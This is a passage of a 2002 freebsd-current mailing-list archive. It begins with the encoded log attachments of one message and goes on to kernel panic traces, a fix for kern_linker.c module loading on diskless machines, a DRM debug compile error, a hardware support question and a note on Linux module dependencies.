9adVmssaa1JnEp/GW1ccQ4lVZD2ag141Nk4GvFg+HIlLiYwuST+9DDzf+yzSRcyPJi9AUq Z0M9jPvgn2nTHZw3fgEAAP//AwDCR2/ogT8AAA== ----Next_Part(Fri_Apr_26_16:03:16_2002_031)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: x-gzip64 Content-Disposition: inline; filename=dmesg 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 ----Next_Part(Fri_Apr_26_16:03:16_2002_031)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: x-gzip64 Content-Disposition: inline; filename=messages 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 ----Next_Part(Fri_Apr_26_16:03:16_2002_031)---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 0: 5:27 2002 Delivered-To: freebsd-current@freebsd.org Received: from rigel.grass.st (rigel.grass.st [195.197.32.30]) by hub.freebsd.org (Postfix) with ESMTP id B398D37B400 for ; Fri, 26 Apr 2002 00:05:21 -0700 (PDT) Received: (from bsdcur@localhost) by rigel.grass.st (8.9.3/8.9.3) id KAA36787 for current@freebsd.org; Fri, 26 Apr 2002 10:05:20 +0300 (EEST) (envelope-from bsdcur) Date: Fri, 26 Apr 2002 10:05:19 +0300 From: mika ruohotie To: current@freebsd.org Subject: panic on current boot Message-ID: <20020426100519.A85371@rigel.grass.st> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG apologies for posting this for the second time, but i think the previous subject lead most of the people to miss/skip this. i get below after installation from a floppy, flopy boots ok, the first real boot fails each time, with any current version i've tested from devel snapshot to apr 22nd. ofcourse i didnt test all snapshots between those dates, and i didnt test any previous versions. if i need to do something further to help with this, let me know, the machine's sitting in this state for now. panic: bad ivar read request (4) Debugger("panic") Stopped at Debugger+0x40: xorl %eax,%eax db> trace Debugger(c03c241c) at Debugger+0x40 panic(c057a399,4,d7bdf070,ce4e0c00,d7c2ce00) at panic+0x70 acpi_read_ivar(ce4e0c00,d7c2bc80,4,c05aebb8) at acpi_read_ivar+0x9b ata_pci_match(d7c2ce00) at ata_pci_match+0x918 ata_pci_probe(d7c2ce00,d7c2ce00,d7c2e780,d7c2ce00,0) at ata_pci_probe+0xd device_probe_child(d7c2e780,d7c2ce00,d7c2ce00,d7c2bc80,d7c2e780) at device_probe_child+0xca device_probe_and_attach(d7c2ce00) at device_peobe_and_attach+0x41 bus_generic_attach(d7c2e780,d7c2e780,d6928280,ce4e0c00,1) at bus_generic_attach+0x16 device_probe_and_attach(d7c2e780) at device_probe_and_attach+0x9a bus_generic_attach(d7c2bc80,d7bd5090,ce4e0c00,d7c2bc80,c05aec90) at bus_generic_attach+0x16 acpi_pcib_attach(d7c2bc80,d7c2bc80,ce4e0c00,ce4e0c00,0) at acpi_pcib_attach+0x1d7 device_probe_and_attach(d7c2bc80) at device_probe_and_attach+0x9a bus_generic_attach(ce4e0c00,ce4e0ba0,ce4e0b80,ce4b23e0,c05aecf8) at bus_generic_attach+0x16 mickey To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 0:28:53 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by hub.freebsd.org (Postfix) with ESMTP id 66C2837B405; Fri, 26 Apr 2002 00:28:47 -0700 (PDT) Received: from beagle (beagle [193.175.132.100]) by mailhub.fokus.gmd.de (8.11.6/8.11.6) with ESMTP id g3Q7Sgh16888; Fri, 26 Apr 2002 09:28:42 +0200 (MEST) Date: Fri, 26 Apr 2002 09:28:42 +0200 (CEST) From: Harti Brandt To: Brian Somers Cc: Ian Dowse , , Subject: Re: Revision 1.88 of kern_linker.c breaks module loading for diskless In-Reply-To: <200204260112.g3Q1CNxH066034@hak.lan.Awfulhak.org> Message-ID: <20020426092705.X795-100000@beagle.fokus.gmd.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, 26 Apr 2002, Brian Somers wrote: BS>The intent is to discover whether there's a filesystem yet (vn_open() BS>will die horribly otherwise). BS> BS>My use of rootdev is (obviously) flawed. AFAICT, either rootvp BS>or rootvnode should be used, but I can't tell the difference between BS>the two at a glance and am lacking development resources right now BS>(my development box seems to enjoy dropping cores too frequently to BS>build a kernel at the moment). BS> BS>If somebody could test that rootvnode or rootvp are non-NULL after BS>an NFS-mounted root is set up, I'd thankfully approve the quick BS>fix... :*) dlc1# gdb -k /boot/kernel/kernel /dev/mem (no debugging symbols found)... IdlePTD at phsyical address 0x00392000 initial pcb at physical address 0x082bdda0 panic messages: --- --- #0 0xc017b968 in mi_switch () (kgdb) p rootdev $1 = -1 (kgdb) p rootvnode $2 = -843452416 (kgdb) p rootvp $3 = -843452416 (kgdb) They obviously point to the same thing and are non-NULL (root is NFS). harti -- harti brandt, http://www.fokus.gmd.de/research/cc/cats/employees/hartmut.brandt/private brandt@fokus.fhg.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 2:54:23 2002 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (gw.Awfulhak.org [217.204.245.18]) by hub.freebsd.org (Postfix) with ESMTP id 4463237B405; Fri, 26 Apr 2002 02:54:17 -0700 (PDT) Received: from hak.lan.Awfulhak.org (root@hak.lan.Awfulhak.org [IPv6:fec0::1:12]) by Awfulhak.org (8.12.2/8.12.2) with ESMTP id g3Q9sDsG076175; Fri, 26 Apr 2002 10:54:13 +0100 (BST) (envelope-from brian@freebsd-services.com) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.12.3/8.12.3) with ESMTP id g3Q9sAxH001077; Fri, 26 Apr 2002 10:54:10 +0100 (BST) (envelope-from brian@freebsd-services.com) Message-Id: <200204260954.g3Q9sAxH001077@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Harti Brandt Cc: Brian Somers , Ian Dowse , brian@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: Revision 1.88 of kern_linker.c breaks module loading for diskless In-Reply-To: Message from Harti Brandt of "Fri, 26 Apr 2002 09:28:42 +0200." <20020426092705.X795-100000@beagle.fokus.gmd.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 26 Apr 2002 10:54:10 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > On Fri, 26 Apr 2002, Brian Somers wrote: > > BS>The intent is to discover whether there's a filesystem yet (vn_open() > BS>will die horribly otherwise). > BS> > BS>My use of rootdev is (obviously) flawed. AFAICT, either rootvp > BS>or rootvnode should be used, but I can't tell the difference between > BS>the two at a glance and am lacking development resources right now > BS>(my development box seems to enjoy dropping cores too frequently to > BS>build a kernel at the moment). > BS> > BS>If somebody could test that rootvnode or rootvp are non-NULL after > BS>an NFS-mounted root is set up, I'd thankfully approve the quick > BS>fix... :*) > > dlc1# gdb -k /boot/kernel/kernel /dev/mem > (no debugging symbols found)... > IdlePTD at phsyical address 0x00392000 > initial pcb at physical address 0x082bdda0 > panic messages: > --- > --- > #0 0xc017b968 in mi_switch () > (kgdb) p rootdev > $1 = -1 > (kgdb) p rootvnode > $2 = -843452416 > (kgdb) p rootvp > $3 = -843452416 > (kgdb) > > They obviously point to the same thing and are non-NULL (root is NFS). Thanks. I've committed the change. > harti > -- > harti brandt, http://www.fokus.gmd.de/research/cc/cats/employees/hartmut.brandt/private > brandt@fokus.fhg.de -- Brian http://www.freebsd-services.com/ Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 3:59:57 2002 Delivered-To: freebsd-current@freebsd.org Received: from mbg.sphere.ne.jp (mbg.sphere.ne.jp [210.150.254.179]) by hub.freebsd.org (Postfix) with ESMTP id B5E0937B400 for ; Fri, 26 Apr 2002 03:59:51 -0700 (PDT) Received: from localhost (snowwind.kawasaki3.org [210.136.45.51]) by mbg.sphere.ne.jp (Postfix) with ESMTP id 306E43A214; Fri, 26 Apr 2002 19:59:48 +0900 (JST) Date: Fri, 26 Apr 2002 19:59:42 +0900 (JST) Message-Id: <20020426.195942.71106824.kawasaki@mbg.sphere.ne.jp> To: kawasaki@mbg.sphere.ne.jp Cc: eanholt@gladstone.uoregon.edu, current@freebsd.org, freebsd-xfree86@lists.csociety.org Subject: Re: DRM in the sys/ tree: looking for testers From: moto kawasaki In-Reply-To: <20020426.160316.74739357.kawasaki@mbg.sphere.ne.jp> References: <1019092948.734.19.camel@anholt.dyndns.org> <20020426.160316.74739357.kawasaki@mbg.sphere.ne.jp> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, It is minor problem but when I added "options DRM_DEBUG" in my kernel configuration file under /usr/src/sys/i386/conf/, I got the following error. cc -c -O -pipe -march=pentiumpro -Wall -Wredundant-decls -Wnested-externs -Wstr ict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fform at-extensions -ansi -nostdinc -I- -I. -I../.. -I../../../include -I../../contri b/ipfilter -D_KERNEL -include opt_global.h -elf -mpreferred-stack-boundary=2 ../../dev/drm/i830_dma.c ../../dev/drm/i830_dma.c: In function `i830_getbuf': ../../dev/drm/i830_dma.c:1506: `current' undeclared (first use in this function) ../../dev/drm/i830_dma.c:1506: (Each undeclared identifier is reported only once ../../dev/drm/i830_dma.c:1506: for each function it appears in.) *** Error Code 1 Stop in /usr/src/sys/compile/KAWASAKI Thank you. moto kawasaki From: moto kawasaki Subject: Re: DRM in the sys/ tree: looking for testers Date: Fri, 26 Apr 2002 16:03:16 +0900 (JST) Message-ID: <20020426.160316.74739357.kawasaki@mbg.sphere.ne.jp> kawasaki> kawasaki> Thank you very much, Mr. Eric Anholt, kawasaki> kawasaki> I have been testing your code on my PC, and found that kernel cannot kawasaki> initialize agpgart device so far. kawasaki> kawasaki> Environment: kawasaki> Dell Latitude C400 (w/ Intel 82830 aka I830MG) kawasaki> FreeBSD 4.5 STABLE (last cvsuped around 2002/Apr/24) kawasaki> XFree86 4.2.0 (using /usr/ports/x11/XFree86-4/, cvsuped on the same day) kawasaki> sysdrm-2002-04-21-tcldrm.tar.gz kawasaki> sysdrm-2002-04-20-tclmodules.tar.gz kawasaki> sysdrm-2002-04-20-tclstableconf.diff kawasaki> (following http://gladstone.uoregon.edu/~eanholt/dri/install.html) kawasaki> kawasaki> Also, please find attached several configuration files and logs. kawasaki> kawasaki> I myself am not an expert of neither FreeBSD kernel nor XFree86, kawasaki> but I am eager to become a test monkey for saving my life :-) kawasaki> kawasaki> kawasaki> Thank you very much. kawasaki> kawasaki> kawasaki> kawasaki> kawasaki> Yours, kawasaki> kawasaki> kawasaki> moto kawasaki To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 5:43:15 2002 Delivered-To: freebsd-current@freebsd.org Received: from Veronica.wmol.com (veronica.wmol.com [208.242.83.241]) by hub.freebsd.org (Postfix) with ESMTP id 1CB7437B419; Fri, 26 Apr 2002 05:42:49 -0700 (PDT) Received: from turtle (vns-02.visual-network.net [207.148.209.66]) by Veronica.wmol.com (Vircom SMTPRS 1.3.224) with ESMTP id ; Fri, 26 Apr 2002 08:42:35 -0400 From: "David Hill" To: , Subject: 3com 3cxfe575bt Date: Fri, 26 Apr 2002 08:42:43 -0400 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0000_01C1ECFE.57AD0650" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C1ECFE.57AD0650 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello - Does -CURRENT currently support the 3com 3cxfe575bt cardbus pc card? Thanks David ------=_NextPart_000_0000_01C1ECFE.57AD0650 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hello –

Does –CURRENT currently support the 3com = 3cxfe575bt cardbus pc card?

 

Thanks

David

 

------=_NextPart_000_0000_01C1ECFE.57AD0650-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 7:50:50 2002 Delivered-To: freebsd-current@freebsd.org Received: from smtp1.aaahawk.com (smtp1.aaahawk.com [12.155.208.238]) by hub.freebsd.org (Postfix) with ESMTP id 4133237B421 for ; Fri, 26 Apr 2002 07:50:34 -0700 (PDT) Received: from a (unverified [65.58.86.134]) by smtp1.aaahawk.com (Vircom SMTPRS 5.0.194) with SMTP id for ; Fri, 26 Apr 2002 10:36:39 -0400 Message-ID: <000701c1ed2e$72f7b740$7800000a@a> From: "Alan Day" To: Subject: Date: Fri, 26 Apr 2002 10:27:05 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 9:23: 2 2002 Delivered-To: freebsd-current@freebsd.org Received: from fw.wemm.org (12-232-135-171.client.attbi.com [12.232.135.171]) by hub.freebsd.org (Postfix) with ESMTP id 4EA7A37B405; Fri, 26 Apr 2002 09:22:58 -0700 (PDT) Received: from overcee.wemm.org (overcee.wemm.org [10.0.0.3]) by fw.wemm.org (8.11.6/8.11.6) with ESMTP id g3QGMwe43464; Fri, 26 Apr 2002 09:22:58 -0700 (PDT) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.wemm.org (Postfix) with ESMTP id 58AD838FF; Fri, 26 Apr 2002 09:22:58 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Julian Elischer Cc: John Baldwin , FreeBSD current users Subject: Re: linux broken? In-Reply-To: Date: Fri, 26 Apr 2002 09:22:58 -0700 From: Peter Wemm Message-Id: <20020426162258.58AD838FF@overcee.wemm.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Julian Elischer wrote: > > > On Thu, 25 Apr 2002, John Baldwin wrote: > > > > > On 25-Apr-2002 Julian Elischer wrote: > > > > kldload sysvipc.ko or compile the SYSV stuff into your kernel. > > Perhaps the linux kld needs to have a module dependency on > > the sysvipc modules? > > there is no sysvipc module but this is what I tried.. > > jules# cd /boot/kernel > jules# ls sy* > sym.ko syscall_gate.ko sysvmsg.ko sysvsem.ko sysvshm.ko > jules# kldload sysvmsg > jules# kldload sysvsem > jules# kldload sysvshm > jules# kldload linux > link_elf: symbol semop undefined > kldload: can't load linux: Exec format error > jules# Like John said, there needs to be a module dependency. The dependency from linux to sysvsem (for example) is used for two things. 1) to prevent sysvsem being unloaded before linux, and 2) to add sysvsem to the symbol search order for linux. You cannot "see" symbols in other modules without registering a dependency for this reason. Cheers, -Peter -- Peter Wemm - peter@wemm.org; peter@FreeBSD.org; peter@yahoo-inc.com "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 10: 4:30 2002 Delivered-To: freebsd-current@freebsd.org Received: from client.paymentonline.com (client.paymentonline.com [63.236.115.2]) by hub.freebsd.org (Postfix) with ESMTP id 9223137B400 for ; Fri, 26 Apr 2002 10:04:27 -0700 (PDT) Received: from localhost (bsd@localhost) by client.paymentonline.com (8.11.2/8.11.2) with ESMTP id g3QH1UT61532 